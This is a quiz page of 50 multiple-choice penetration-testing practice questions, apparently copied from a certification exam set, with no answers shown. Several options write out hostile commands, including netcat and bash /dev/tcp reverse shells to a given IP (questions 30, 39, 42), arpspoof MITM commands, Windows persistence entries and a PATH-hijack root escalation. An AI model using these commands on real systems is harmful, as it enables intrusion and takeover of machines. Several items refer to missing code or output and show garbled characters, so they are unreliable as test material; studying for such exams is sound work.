Quiz
PTO1
This quiz has a time limit, so it opens in the usual player.
Questions in this quiz (50)
1Place each of the following passwords in order of complexity from least complex (1) to most complex (4), based on the character sets represented. Each password may be used only once.
Select and Place:
- AZverlory
- Bzv3rl0ry
- CZverl0ry
- DZv3r!0ry
2A manager calls upon a tester to assist with diagnosing an issue within the following Python script:
#!/usr/bin/python
s = `Administrator`
The tester suspects it is an issue with string slicing and manipulation. Analyze the following code segment and drag and drop the correct output for each string manipulation to its corresponding code segment. Options may be used once or not at all.
Select and Place:
- Anist
- Bnsrt
- Cimda
- Dstrat
- Erota
- Finis
- Glita
- HsnmA
3A penetration tester has compromised a Windows server and is attempting to achieve persistence. Which of the following would achieve that goal?
- Aschtasks.exe /create/tr ג€powershell.exeג€ Sv.ps1 /run
- Bnet session server | dsquery -user | net use c$
- Cpowershell && set-executionpolicy unrestricted
- Dreg save HKLM\System\CurrentControlSet\Services\Sv.reg
4A client has scheduled a wireless penetration test. Which of the following describes the scoping target information MOST likely needed before testing can begin?
- AThe physical location and network ESSIDs to be tested
- BThe number of wireless devices owned by the client
- CThe client's preferred wireless access point vendor
- DThe bands and frequencies used by the client's devices
5Which of the following BEST describes some significant security weaknesses with an ICS, such as those used in electrical utility facilities, natural gas facilities, dams, and nuclear facilities?
- AICS vendors are slow to implement adequate security controls.
- BICS staff are not adequately trained to perform basic duties.
- CThere is a scarcity of replacement equipment for critical devices.
- DThere is a lack of compliance for ICS facilities.
6A security analyst was provided with a detailed penetration report, which was performed against the organization's DMZ environment. It was noted on the report that a finding has a CVSS base score of 10.0. Which of the following levels of difficulty would be required to exploit this vulnerability?
- AVery difficult; perimeter systems are usually behind a firewall.
- BSomewhat difficult; would require significant processing power to exploit.
- CTrivial; little effort is required to exploit this finding.
- DImpossible; external hosts are hardened to protect against attacks.
7A penetration tester has gained access to a marketing employee's device. The penetration tester wants to ensure that if the access is discovered, control of the device can be regained. Which of the following actions should the penetration tester use to maintain persistence to the device? (Select TWO.)
- APlace an entry in HKLM\Software\Microsoft\CurrentVersion\Run to call au57d.ps1.
- BPlace an entry in C:\windows\system32\drivers\etc\hosts for 12.17.20.10 badcomptia.com.
- CPlace a script in C:\users\%username\local\appdata\roaming\temp\au57d.ps1.
- DCreate a fake service in Windows called RTAudio to execute manually.
- EPlace an entry for RTAudio in HKLM\CurrentControlSet\Services\RTAudio.
- FCreate a schedule task to call C:\windows\system32\drivers\etc\hosts.
8Which of the following tools is used to perform a credential brute force attack?
- AHydra
- BJohn the Ripper
- CHashcat
- DPeach
9Which of the following situations would cause a penetration tester to communicate with a system owner/client during the course of a test? (Select TWO.)
- AThe tester discovers personally identifiable data on the system.
- BThe system shows evidence of prior unauthorized compromise.
- CThe system shows a lack of hardening throughout.
- DThe system becomes unavailable following an attempted exploit.
- EThe tester discovers a finding on an out-of-scope system.
10A penetration tester has performed a security assessment for a startup firm. The report lists a total of ten vulnerabilities, with five identified as critical. The client does not have the resources to immediately remediate all vulnerabilities. Under such circumstances, which of the following would be the BEST suggestion for the client?
- AApply easy compensating controls for critical vulnerabilities to minimize the risk, and then reprioritize remediation.
- BIdentify the issues that can be remediated most quickly and address them first.
- CImplement the least impactful of the critical vulnerabilities' remediations first, and then address other critical vulnerabilities
- DFix the most critical vulnerability first, even if it means fixing the other vulnerabilities may take a very long lime.
11Which of the following is the reason why a penetration tester would run the chkconfig --del servicename command at the end of an engagement?
- ATo remove the persistence
- BTo enable persistence
- CTo report persistence
- DTo check for persistence
12A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service?
- Aarpspoof
- Bnmap
- Cresponder
- Dburpsuite
13A security consultant receives a document outlining the scope of an upcoming penetration test. This document contains IP addresses and times that each can be scanned. Which of the following would contain this information?
- ARules of engagement
- BRequest for proposal
- CMaster service agreement
- DBusiness impact analysis
14A penetration tester executes the following commands, Which of the following is a local host vulnerability that the attacker is exploiting?
- AInsecure file permissions
- BApplication whitelisting
- CShell escape
- DWritable service
15A penetration tester reviews the scan results of a web application. Which of the following vulnerabilities is MOST critical and should be prioritized for exploitation?
- AStored XSS
- BFill path disclosure
- CExpired certificate
- DClickjacking
16A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443. Which of the following would be BEST to recommend?
- ATransition the application to another port.
- BFilter port 443 to specific IP addresses.
- CImplement a web application firewall.
- DDisable unneeded services.
17A penetration tester was able to enter an SQL injection command into a text box and gain access to the information store on the database. Which of the following is the BEST recommendation that would mitigate the vulnerability?
- ARandomize the credentials used to log in.
- BInstall host-based intrusion detection.
- CImplement input normalization.
- DPerform system hardening.
18Black box penetration testing strategy provides the tester with:
- Aa target list
- Ba network diagram
- Csource code
- Dprivileged credentials
19Which of the following tools would a penetration tester leverage to conduct OSINT? (Select TWO).
- AShodan
- BSET
- CBeEF
- DWireshark
- EMaltego
- FDynamo
20A penetration tester is performing ARP spoofing against a switch. Which of the following should the penetration tester spoof to get the MOST information?
- AMAC address of the client
- BMAC address of the domain controller
- CMAC address of the web server
- DMAC address of the gateway
21A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE).
- ARandomize local administrator credentials for each machine.
- BDisable remote logons for local administrators.
- CRequire multifactor authentication for all logins.
- DIncrease minimum password complexity requirements.
- EApply additional network access control.
- FEnable full-disk encryption on every workstation.
- GSegment each host into its own VLAN.
22A security consultant is trying to attack a device with a previously identified user account. Which of the following types of attacks is being executed?
- ACredential dump attack
- BDLL injection attack
- CReverse shell attack
- DPass the hash attack
23A malicious user wants to perform an MITM attack on a computer. The computer network configuration is given below:
IP: 192.168.1.20 -
NETMASK: 255.255.255.0 -
DEFAULT GATEWAY: 192.168.1.254 -
DHCP: 192.168.1.253 -
DNS: 192.168.10.10, 192.168.20.10
Which of the following commands should the malicious user execute to perform the MITM attack?- Aarpspoof -c both -r -t 192.168.1.1 192.168.1.20
- Barpspoof -t 192.168.1.20 192.168.1.254
- Carpspoof -c both -t 192.168.1.20 192.168.1.253
- Darpspoof -r -t 192.168.1.253 192.168.1.20
24A client has requested an external network penetration test for compliance purposes. During discussion between the client and the penetration tester, the client expresses unwillingness to add the penetration tester's source IP addresses to the client's IPS whitelist for the duration of the test. Which of the following is the
BEST argument as to why the penetration tester's source IP addresses should be whitelisted?- AWhitelisting prevents a possible inadvertent DoS attack against the IPS and supporting log-monitoring systems.
- BPenetration testing of third-party IPS systems often requires additional documentation and authorizations; potentially delaying the time-sensitive test.
- CIPS whitelisting rules require frequent updates to stay current, constantly developing vulnerabilities and newly discovered weaknesses.
- DTesting should focus on the discovery of possible security issues across all in-scope systems, not on determining the relative effectiveness of active defenses such as an IPS.
25An energy company contracted a security firm to perform a penetration test of a power plant, which employs ICS to manage power generation and cooling. Which of the following is a consideration unique to such an environment that must be made by the firm when preparing for the assessment?
- ASelection of the appropriate set of security testing tools
- BCurrent and load ratings of the ICS components
- CPotential operational and safety hazards
- DElectrical certification of hardware used in the test
26A healthcare organization must abide by local regulations to protect and attest to the protection of personal health information of covered individuals. Which of the following conditions should a penetration tester specifically test for when performing an assessment? (Select TWO).
- ACleartext exposure of SNMP trap data
- BSoftware bugs resident in the IT ticketing system
- CS/MIME certificate templates defined by the CA
- DHealth information communicated over HTTP
- EDAR encryption on records servers
27Which of the following is an example of a spear phishing attack?
- ATargeting an executive with an SMS attack
- BTargeting a specific team with an email attack
- CTargeting random users with a USB key drop
- DTargeting an organization with a watering hole attack
28A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization?
- ASample SOAP messages
- BThe REST API documentation
- CA protocol fuzzing utility
- DAn applicable XSD file
29Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?
- AStack pointer register
- BIndex pointer register
- CStack base pointer
- DDestination index register
30During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).
- Anc 192.168.1.5 44444
- Bnc -nlvp 44444 -e /bin/sh
- Crm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f
- Dnc -e /bin/sh 192.168.1.5 44444
- Erm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f
- Frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f
31Consumer-based IoT devices are often less secure than systems built for traditional desktop computers. Which of the following BEST describes the reasoning for this?
- AManufacturers developing IoT devices are less concerned with security.
- BIt is difficult for administrators to implement the same security standards across the board.
- CIoT systems often lack the hardware power required by more secure solutions.
- DRegulatory authorities often have lower security requirements for IoT systems.
32Which of the following commands starts the Metasploit database?
- Amsfconsole
- Bworkspace
- Cmsfvenom
- Ddb_init
- Edb_connect
33A company requested a penetration tester review the security of an in-house developed Android application. The penetration tester received an APK file to support the assessment. The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO).
- AConvert to JAR.
- BDecompile.
- CCross-compile the application.
- DConvert JAR files to DEX.
- ERe-sign the APK.
- FAttach to ADB.
34A penetration tester identifies the following findings during an external vulnerability scan:
Which of the following attack strategies should be prioritized from the scan results above?
- AObsolete software may contain exploitable components.
- BWeak password management practices may be employed.
- CCryptographically weak protocols may be intercepted
- DWeb server configurations may reveal sensitive information.
35A penetration tester is in the process of writing a report that outlines the overall level of risk to operations. In which of the following areas of the report should the penetration tester put this?
- AAppendices
- BExecutive summary
- CTechnical summary
- DMain body
36A penetration tester is performing a black box assessment on a web-based banking application. The tester was only provided with a URL to the login page. Given the below code and output:
Which of the following is the tester intending to do?
- AHorizontally escalate privileges.
- BScrape the page for hidden fields.
- CAnalyze HTTP response code.
- DSearch for HTTP headers.
37A penetration tester wants to launch a graphic console window from a remotely compromised host with IP 10.0.0.20 and display the terminal on the local computer with IP 192.168.1.10. Which of the following would accomplish this task?
- AFrom the remote computer, run the following commands: export XHOST 192.168.1.10:0.0 xhost+ Terminal
- BFrom the local computer, run the following command: ssh -L4444:127.0.0.1:6000 -X user@10.0.0.20 xterm
- CFrom the remote computer, run the following command: ssh -R6000:127.0.0.1:4444 -p 6000 user@192.168.1.10 ג€xhost+; xtermג€
- Dom the local computer, run the following command: nc -l -p 6000 Then, from the remote computer, run the following command: xterm | nc 192.168.1.10 6000
38A penetration tester is testing a banking application and uncovers a vulnerability. The tester is logged in as a non-privileged user who should have no access to any data. Given the data below from the web interception proxy:
Which of the following types of vulnerabilities is being exploited?
- AForced browsing vulnerability
- BParameter pollution vulnerability
- CFile upload vulnerability
- DCookie enumeration
39A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the penetration tester MOST likely use?
- Aperl -e 'use SOCKET'; $i='<SOURCEIP>; $p='443;
- Bssh superadmin@<DESTINATIONIP> -p 443
- Cnc -e /bin/sh <SOURCEIP> 443
- Dbash -i >& /dev/tcp/<DESTINATIONIP>/443 0>&1
40A penetration tester observes that the content security policy header is missing during a web application penetration test. Which of the following techniques would the penetration tester MOST likely perform?
- ACommand injection attack
- BClickjacking attack
- CDirectory traversal attack
- DRemote file inclusion attack
41Which of the following are MOST important when planning for an engagement? (Select TWO).
- AGoals/objectives
- BArchitectural diagrams
- CTolerance to impact
- DStorage time for a report
- ECompany policies
42The following line was found in an exploited machine's history file. An attacker ran the following command: bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?- APerforms a port scan.
- BGrabs the web server's banner.
- CRedirects a TTY to a remote system.
- DRemoves error logs for the supplied IP.
43Which of the following types of intrusion techniques is the use of an `under-the-door tool` during a physical security assessment an example of?
- ALockpicking
- BEgress sensor triggering
- CLock bumping
- DLock bypass
44During testing, a critical vulnerability is discovered on a client's core server. Which of the following should be the NEXT action?
- ADisable the network port of the affected service.
- BComplete all findings, and then submit them to the client.
- CPromptly alert the client with details of the finding.
- DTake the target offline so it cannot be exploited by an attacker.
45A penetration tester has successfully deployed an evil twin and is starting to see some victim traffic. The next step the penetration tester wants to take is to capture all the victim web traffic unencrypted. Which of the following would BEST meet this goal?
- APerform an HTTP downgrade attack.
- BHarvest the user credentials to decrypt traffic.
- CPerform an MITM attack.
- DImplement a CA attack by impersonating trusted CAs.
46After gaining initial low-privilege access to a Linux system, a penetration tester identifies an interesting binary in a user's home folder titled ''changepass.`
-sr-xr-x 1 root root 6443 Oct 18 2017 /home/user/changepass
Using `strings" to print ASCII printable characters from changepass, the tester notes the following:
$ strings changepass
exit
setuid
strcmp
GLIBC_2.0 -
ENV_PATH -
%s/changepw
malloc
strlen
Given this information, which of the following is the MOST likely path of exploitation to achieve root privileges on the machine?- ACopy changepass to a writable directory and export the ENV_PATH environmental variable to the path of a token-stealing binary titled changepw. Then run changepass.
- BCreate a copy of changepass in the same directory, naming it changepw. Export the ENV_PATH environmental variable to the path '/home/user/'. Then run changepass.
- CExport the ENV_PATH environmental variable to the path of a writable directory that contains a token-stealing binary titled changepw. Then run changepass.
- DRun changepass within the current directory with sudo after exporting the ENV_PATH environmental variable to the path of '/usr/local/bin'.
47A penetration tester wants to script out a way to discover all the RPTR records for a range of IP addresses. Which of the following is the MOST efficient to utilize?
- Anmap -p 53 -oG dnslist.txt | cut -d ג€:ג€ -f 4
- Bnslookup -ns 8.8.8.8 << dnslist.txt
- Cfor x in {1...254}; do dig -x 192.168.$x.$x; done
- Ddig -r > echo ג€8.8.8.8ג€ >> /etc/resolv.conf
48Given the following Python script:
Which of the following is where the output will go?
- ATo the screen
- BTo a network server
- CTo a file
- DTo /dev/null
49An engineer, who is conducting a penetration test for a web application, discovers the user login process sends from field data using the HTTP GET method. To mitigate the risk of exposing sensitive information, the form should be sent using an:
- AHTTP POST method.
- BHTTP OPTIONS method.
- CHTTP PUT method.
- DHTTP TRACE method.
50A software developer wants to test the code of an application for vulnerabilities. Which of the following processes should the software developer perform?
- AVulnerability scan
- BDynamic scan
- CStatic scan
- DCompliance scan
Information
- Description
- practice
- Author
- ONI Kaf
- Language
- English
- Views
- 2
- Tags
- Rating
- No ratings yet Rate this quiz